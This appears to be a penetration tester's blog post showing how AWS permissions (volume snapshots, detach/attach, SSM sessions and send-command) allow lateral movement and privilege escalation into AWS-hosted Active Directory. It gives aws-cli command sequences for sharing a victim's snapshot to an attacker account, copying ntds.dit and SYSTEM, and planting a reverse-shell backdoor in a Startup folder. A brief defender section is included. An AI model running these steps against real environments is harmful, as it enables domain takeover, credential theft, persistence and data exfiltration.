T L;DR: This blog post details some of the ways I found AWS permissions could be used to move laterally and escalate privileges in an Active Directory environment. There are probably equivalent ways of doing these things in Azure and Google Cloud as well - I just haven’t looked into them. With organisations’ increasing usage of cloud providers to host infrastructure, I feel these sorts of techniques could become increasingly relevant if the trend of employees working from home and companies looking to reduce hardware overhead costs continues. If I come across more techniques, there will likely be a follow up post.
Searching online did not reveal a great deal of research on the subject except this post by Chris Farris (my Google-fu may well have let me down here though) so I went digging around for myself to try and find some interesting techniques. I have detailed a couple of techniques here that Chris mentions in his post along with some others that I have not read about elsewhere. There are doubtless plenty more methods - I just haven’t spent enough time looking for them. If I find more I will try to detail them in a future blog post :-)
[EDIT] While writing this post, I saw a tweet by Tanner Barnes about creating volume snapshots for privilege escalation and the CloudCopy tool he wrote to do it, so I am far from the first person to have thought about these things. In fact, his tool was committed on GitHub 2 years ago, so I’m a little late to the party! Tanner’s method leveraged different AWS permissions to my use of existing snapshots so I have included his in this post too as it’s great.
If you want to skip straight to some of the methods, follow the links below:
Method 1: Lateral movement/Privilege Escalation via existing volume snapshots
Method 2: Lateral movement/Privilege Escalation via creating volume snapshots
Method 3: Lateral movement via volume detaching
Method 4: Local privilege escalation/Lateral movement via Systems Manager Start Session
Method 5: Local privilege escalation/Lateral movement via Systems Manager Send Command
Defenders
There is nothing I can add that hasn’t been said before for defending against these techniques, but I think it serves to highlight that there are extra defensive measures to be taken for cloud-based AD environments by making the AWS permissions as watertight as possible IN ADDITION to your usual AD configurations. So, to minimise the damage an attacker could do with compromised AWS tokens, the following should be considered:
- Where possible, minimise access to AWS tokens by not hardcoding them in files and limiting AWS metadata service access;
- Limit the resources on which AWS policies used in an environment can be applied; and
- Limit where AWS policies used in an environment can be used from e.g. only from specific hosts.
If it is not possible or feasible to lock the permissions down completely, CloudWatch could be configured to monitor for, and alert on, use of these sorts of techniques.
Credit
Before going further, credit and thanks to the following people and their research, posts and tools which were what started me thinking of the art of the possible in this context and inspired this post. I highly recommend reading their posts for additional information:
- Chris Farris for his Lateral Movement in AWS and other posts focusing on AWS security
- Spencer Gietzen for his work on Pacu and posts on AWS Privilege Escalation
- Xavier Garceau-Aranda for his work on ScoutSuite and excellent Offensive Cloud Security training course
- Andy Robbins and Ryan Hausknecht for their research into Lateral Movement from Azure to On-Prem AD and Attacking Azure & Azure AD
Background
I recently had some down time between pen testing engagements and decided to use it to set up an Active Directory lab in AWS. My intention was to practice some AD lateral movement and AWS privilege escalation techniques such as those detailed in the great work by Rhino Security Labs’ Spencer Gietzen. While practicing and scouring AWS documentation, a question popped into my head (usually a dangerous thing):
"Surely hosting an Active Directory environment in the cloud provides additional methods to perform the sort of attacks we usually see in AD thanks to the ability to manage cloud resources and services. Instead of trying to move laterally in the Active Directory environment in the usual ways OR trying to escalate AWS permissions, could someone instead use AWS permissions as a way to laterally move and privilege escalate in Active Directory?"
Well, it turns out that you can, but you probably already figured that given there is some way more to go in this post. This may be common knowledge for many pen testers and red teamers, but several of the techniques are ones I have not seen detailed elsewhere and are techniques that I will add to my toolbox for future engagements.
What I was trying to achieve might seem like a strange concept if you have only dealt with traditional on-premises AD environments, but it makes sense in a cloud hosted environment where each component of the AD environment is just a cloud resource or service.
As a very simplistic example, a Domain Controller in an AWS environment consists an EC2 instance for its compute power and a storage volume (i.e. a hard drive) to store its data. The EC2 and the storage volume are both just AWS resources that have been coupled together. They can be administered independently, such as upgrading the EC2 compute power or switching out the storage volume... if you have the appropriate AWS permissions. It was these permissions (which are extremely granular and therefore there are a huge number of them) that I wanted to try and use for AD lateral movement and privilege escalation.
I only spent a short amount of time investigating so there are doubtless plenty more methods to be found.
Please note that the information below assumes some prior knowledge of AWS services, IAM roles and policies and how to enumerate them. I have not covered any of those topics to prevent this post turning into an epic and because others have already written material explaining them far better than I ever could.
AWS Permission Abuse Methods
Here are some ways AWS permissions can be used in an AWS hosted Active Directory environment to do things attackers like to do. With a little imagination, elements of them could be combined for different outcomes depending on what you want to achieve.
In all the scenarios, assume that the attacker has an AWS token which can be used via the AWS Command Line Interface (aws-cli). I go through the first method in detail with a walkthrough and just provide the relevant details in subsequent methods to try and prevent this post getting overly long or onerous to read through.
Method 1: Lateral movement/Privilege Escalation via existing volume snapshots
AWS permissions needed
Permission | Purpose | Required |
---|---|---|
ec2:CreateVolume | Create a new volume from a snapshot | Yes |
ec2:AttachVolume | Attach newly created volume to an attacker controlled EC2 instance | Yes |
ec2:DescribeSnapshots | Obtain snapshot identifiers | Maybe |
Other pre-requisites
Permission | Purpose | Required |
---|---|---|
Local admin on an EC2 instance in the same environment | Allows mounting of the newly created volume on an attacker controlled EC2 instance | Yes |
An existing volume snapshot | To create the new volume | Yes |
Method
It is possible to snapshot storage volumes that are attached to EC2 instances. These snapshots can be used when creating a new storage volume to clone the snapshot into the new volume.
If we have AWS permissions to create new volumes and attach them to EC2 instances, they can be leveraged to move laterally or escalate domain privileges. The extra caveats are to have local admin (or root) on an EC2 instance and a way of obtaining a snapshot identifier.
As an example scenario, consider a situation where a snapshot has been taken of a Domain Controller’s storage volume and we have local admin rights on a Windows host. We also have an AWS token with ec2:DescribeSnapshots, ec2:CreateVolume and ec2:AttachVolume privileges.
First, we can use the aws ec2 describe-snapshots aws-cli call to obtain the snapshot identifier of all snapshots our access token has access to. The owner-ids parameter used below is not required but was used here just to filter out all of the AWS snapshots and only return those that I might be interested in. From the snapshot’s description it looks like it is from the Domain Controller. This is promising :-)
In fact, it is possible to confirm which EC2 instance this snapshot has come from even if the description is not helpful; the VolumeId value will match with the VolumeId of a specific EC2 instance in the output of an aws ec2 describe-instances command (if that permission has been granted). There are probably other ways to correlate the VolumeId with an EC2 instance depending on the permissions available.
Next, we use the aws ec2 create-volume aws-cli call to create a new volume from the snapshot whose identifier we just obtained. Note the volume identifier in the JSON response; it is different to the previous one and identifies the new volume that is a clone of the Domain Controller snapshot.
Now we can attach the newly created volume to an EC2 instance in the environment that we have local admin on by using the aws ec2 attach-volume aws-cli call. The reason for needing local admin will become apparent shortly. To attach the new volume, the EC2 instance’s identifier is required which can be obtained via the AWS meta-data service or numerous other aws-cli calls.
Note the mount point in the above image; the new volume gets mounted as an additional disk on the running EC2 instance. After logging in to the EC2 instance, we can bring the new volume online through the Disk Management GUI or diskpart command line utility. Use of either of these requires local admin privileges.
Now the cloned volume is mounted as the D drive and can be accessed on the EC2 instance. The great thing about this is that, unlike when it is mounted as the primary disk, none of the files we are interested in as an attacker are locked or subject to the usual ACLs. It is therefore possible to simply copy the ntds.dit and SYSTEM files from the mounted drive and profit greatly.
From here, we can dump the secrets from the Domain Controller backup and obtain Domain Admin privileges. I did this by first moving the copied files off the EC2 instance and onto a Kali VM.
I’m not sure how likely it is for this technique to be caught by CloudWatch, but I think it is an interesting way to compromise a system without touching it.
Additional Notes
I attempted to mount the cloned volume on an EC2 instance in a different AWS account to see whether this method could still work if we don’t have local admin within the target environment. The rationale was to leverage a personal AWS account to create EC2 instances that we had local admin on. It didn’t work, at least with the default snapshot creation parameters, as the volume wouldn’t mount to an EC2 instance running under a different account. Reading the AWS documentation, it appears the only way to share volumes between accounts is through creation of snapshots.
Bonus Round
The ability to create snapshots and make them available between AWS accounts (detailed in the next method) might give some other opportunities to make life easier for ourselves. In a locked down VPC where it is difficult to bring tools into the environment, how about creating a snapshot of a volume containing the tools in our own AWS account and making it available to the target environment’s account?
Then, the ec2:CreateVolume and ec2:AttachVolume permissions inside the target’s environment could be used to create a new volume from the shared snapshot and mount it on an EC2 instance (local admin still needed). Now our tools are available inside the target environment.
Method 2: Lateral movement/Privilege Escalation via creating volume snapshots
AWS permissions needed
Permission | Purpose | Required |
---|---|---|
ec2:CreateSnapshot | Create snapshot of running EC2 instance | Yes |
ec2:ModifySnapshotAttribute | Make snapshot available to another AWS user | Yes |
Method
This method was described in a tweet by Tanner Barnes and his CloudCopy tool can perform this attack in both AWS and Azure. It is similar to the previous method except for 2 things. First, it does not assume an existing snapshot is available or current. Second, and I think this makes it a preferable technique, it does not require local admin privileges on a host inside the target environment.
The first step in this method is for us to simply create a snapshot of the instance we want to compromise using the aws ec2 create-snapshot command. The target instance can be running or shut-down when creating a snapshot, it doesn’t matter. Clearly, the volume ID of the target EC2 instance needs to be identified before running this command, e.g. via aws ec2 describe-instances or a similar one:
aws ec2 create-snapshot -volume-id [VOLUME_ID]
Now the snapshot has been created, the aws modify-snapshot-attribute command can be used to modify its attributes and make it privately available to another AWS user... such as our own AWS account.
aws ec2 modify-snapshot-attribute --snapshot-id [SNAPSHOT_ID] --attribute createVolumePermission --operation-type add --user-ids [ATTACKER_USER_ID]
If the command executes successfully, we will be able to log into our own AWS account in the Management Console and see the snapshot we created inside the target environment in our private snapshots! From here, all that needs to be done is to create a volume from the snapshot and attach it to an EC2 instance in the same availability zone as the new volume in our own AWS environment:
Because we have full control over our AWS account, we inherently have admin privileges over any EC2 instances created. As a result, we can mount the newly attached disk in the EC2 instance, as described in other parts of this post, and have full access to its contents.
Bonus Round
In addition to compromising systems, this could also be an excellent way to exfiltrate large amounts of data out of a VPC that does not have external access.
Method 3: Lateral movement via volume detaching
AWS permissions needed
Permission | Purpose | Required |
---|---|---|
ec2:DetachVolume | Detach volume from target EC2 instance | Yes |
ec2:AttachVolume | Attach volume to an attacker controlled EC2 instance | Yes |
ec2:StopInstances | Stop the target EC2 instance from running | Maybe |
ec2:StartInstances | Start the target EC2 instance running | Maybe |
Other pre-requisites
Permission | Purpose | Required |
---|---|---|
Root on a Linux EC2 instance | Access the drive while ensuring it stays remountable by a Windows host | Yes |
Method
I originally thought of this to perform the sticky keys exploit, but it is also a very nice way to gain persistence and create backdoors on the target system. It is probably a rather less subtle method than the previous one if the target EC2 instance needs to be stopped. However, if instances are routinely brought down and up in the environment, such as shutting down overnight to save costs, it may be a decent candidate for lateral movement.
After identifying the target EC2 instance we want to move to, we stop it and then detach the primary volume via the following aws-cli commands. Note, there are several ways to find the instance and volume identifiers for the above commands including using the AWS meta-data service or the aws ec2 describe-instances aws-cli command:
- aws ec2 stop-instances --instance-ids [TARGET_INSTANCE_ID]
- aws ec2 detach-volume --volume-id [TARGET_VOLUME_ID]
Next, the volume can be attached to a Linux EC2 instance on which we have root access. Again, note the mount point:
- aws ec2 attach-volume --volume-id [TARGET_VOLUME_ID] --instance-id [ATTACKER_CONTROLLED_INSTANCE_ID] --device /dev/xvdf
The drive can now be mounted on the Linux EC2 instance. To do so, we can run the following in a command terminal to confirm the disk is available:
- lsblk
All being well, the disk will be available at xvdf and its partition at xvdf1. Now it can be mounted:
- mkdir /media/windows
- mount /dev/xvdf1 /media/windows -t ntfs
After mounting the drive, we again have full access to the volume’s file system and could easily copy the SAM and SYSTEM files from it. Instead, we opt for the following super simple persistence mechanism which will execute the batch file that gives a reverse shell whenever a user logs on to the host. Of course, with unfettered access to the filesystem there are far more stealthy persistence mechanisms that could be used if that is the goal :-)
- cp backdoor.bat /media/ windows/ProgramData/ Microsoft/Windows/Start Menu/Programs/StartUp/
The disk can now be unmounted before detaching the volume from the Linux instance, re-attaching it to the target EC2 instance and starting it up:
- cd /
- umount /media/windows
- aws ec2 detach-volume --volume-id [TARGET_VOLUME_ID]
- aws ec2 attach-volume --volume-id [TARGET_VOLUME_ID] --instance-id [TARGET_INSTANCE_ID] --device /dev/sda1
- aws ec2 start-instances --instance-ids [TARGET_INSTANCE_ID]
Again, note the mount point when reattaching the volume to the target instance - anything other than /dev/sda1 will leave the instance without a primary disk and it will fail to boot up again.
Additional Notes
I tried to get this method working by attaching the volume to a Windows host that I had local admin on. However, every time I tried, the target EC2 instance failed its second startup check and would not boot properly after its volume was reattached. I did not get to the bottom of why, but it always occurred if the volume had been brought online on the host it was temporarily attached to. Therefore, I’m guessing it may be something to do with how Windows mounts the volumes. If anyone can shed more light on the root cause…..and maybe even figure out a solution I am all ears.
It is possible to detach a volume from an EC2 instance without stopping it first, however according to AWS documentation you cannot do this with the instance’s primary drive. I did not try forcing detachment of the primary volume while it was running and suspect it would corrupt it even if it successfully detached, but who knows, it may be possible ¯\_(ツ)_/¯
If the target instance’s volume is a multi-attach one there well may not be a requirement to stop and detach the volume before attaching it to the Linux EC2 instance. I haven’t played around with this option though.
Method 4: Local privilege escalation/Lateral movement via Systems Manager Start Session
AWS permissions needed
Permission | Purpose | Required |
---|---|---|
ec2:StartSession | To start a session on a remote host | Yes |
Other pre-requisites
Permission | Purpose | Required |
---|---|---|
Target EC2 instance configured to allow management by SSM | Allows SSM to be used for host management | Yes |
Target EC2 instance able to reach internet | Allows SSM agent to reach out to AWS endpoints | Yes |
Method
This method is nothing groundbreaking at all. Xavier Garceau-Aranda covered it in his Offensive Cloud Security training course, but not many people I have talked to seem know about it. There are some extremely powerful permissions in the AWS Systems Manager (SSM) and this one basically provides a remote command shell with Admin/root privileges on an EC2 instance if the instance has been configured to be managed by SSM (details in steps 4 and 5 here: https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-setting-up.html)
Note: To utilise the Session Manager Plugin with the aws-cli, it needs to be installed on the host you are running commands from https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html
The incredible thing about this technique is that we end up with an admin level bash (Linux) or PowerShell (Windows) command prompt on the target IRRESPECTIVE OF WHETHER ANY PORTS ON THE HOST ARE OPEN TO THE HOST YOU PERFORM THE COMMAND FROM. For lateral movement, pick your target instance and run the following command:
aws ssm start-session --target [TARGET_INSTANCE_ID]
If the target EC2 instance has not been configured to allow management by the SSM we get an error like the following when trying to connect to it which means we cannot use this method to attack the specified instance.
To use this technique for local privilege escalation, just set the target instance ID to that of the EC2 instance you already have a shell or RDP session on. If the EC2 instance is configured to be managed by the Services Manager, you should end up with a shell in which you can sudo su to root on Linux, or a straight up Admin PowerShell prompt in Windows.
Additional Notes
I tried this method on an EC2 instance that had no internet access or public IP address to see whether it could be a way to break into an isolated VPC from outside of the environment. I wasn’t successful and AWS documentation suggested that the EC2 instance requires some sort of internet access, either direct or NATed, for the SSM agent on it to reach out to AWS endpoints. Again, I would be very interested if I have missed something simple and there is a way to get this working against isolated instances.
Method 5: Local privilege escalation/Lateral movement via Systems Manager Send Command
AWS permissions needed
Permission | Purpose | Required |
---|---|---|
ec2:SendCommand | To execute a shell command on a remote host | Yes |
Other pre-requisites
Permission | Purpose | Required |
---|---|---|
Target EC2 instance configured to allow management by SSM | Allows SSM to be used for host management | Yes |
Target EC2 instance able to reach internet | Allows SSM agent to reach out to AWS endpoints | Yes |
Method
As Chris Farris mentions in this post, the ssm:SendCommand permission allows execution of commands as administrator on target EC2 instances that have been configured to allow management by SSM. Essentially this is like running psexec, except the command output does not get immediately returned with ssm:SendCommand. Running it against a remote EC2 instance gives remote command execution and running it as a low privileged user on a local instance gives privilege escalation (if the instance has the Session Manager Plugin installed alongside the aws-cli):
- aws ssm send-command --instance-ids "[TARGET_INSATNCE_ID]" --document-name "AWS-RunShellScript" --parameters 'commands=["MY_CMD"]'
To obtain the command’s output, the ssm:ListCommandInvocations permission is required. Not being able to retrieve the output does not stop the command from being run, so really having this permission is useful for just remotely reading sensitive file content or debugging why a command payload may not be working properly.
- aws ssm list-command-invocations --command-id [COMMAND_ID] --details
Other Points
Initially I thought the ec2:GetConsoleScreenshot permission looked promising and might be leveraged to grab screenshots of user desktops, potentially to get passwords or other sensitive information. In my experiments I could only obtain screenshots of the login screen, even when there was an active user RDP session, so this permission looks like a dead-end.....though, as always, I would be happy to hear if I am wrong and there is a way to leverage it.
Final Word
Hopefully this post has been informative and provided details on some attack vectors you may not have encountered before. As I said at the beginning, I feel the surface has only begun to be scratched regarding methods that could be used to leverage AWS permissions for Windows AD lateral movement or privilege escalation.
There are a few more techniques I am currently looking into and probably many more options. If they bear any fruit or if more techniques get circulated by the wider Infosec community I will write a follow up article with details so feel free to stay tuned.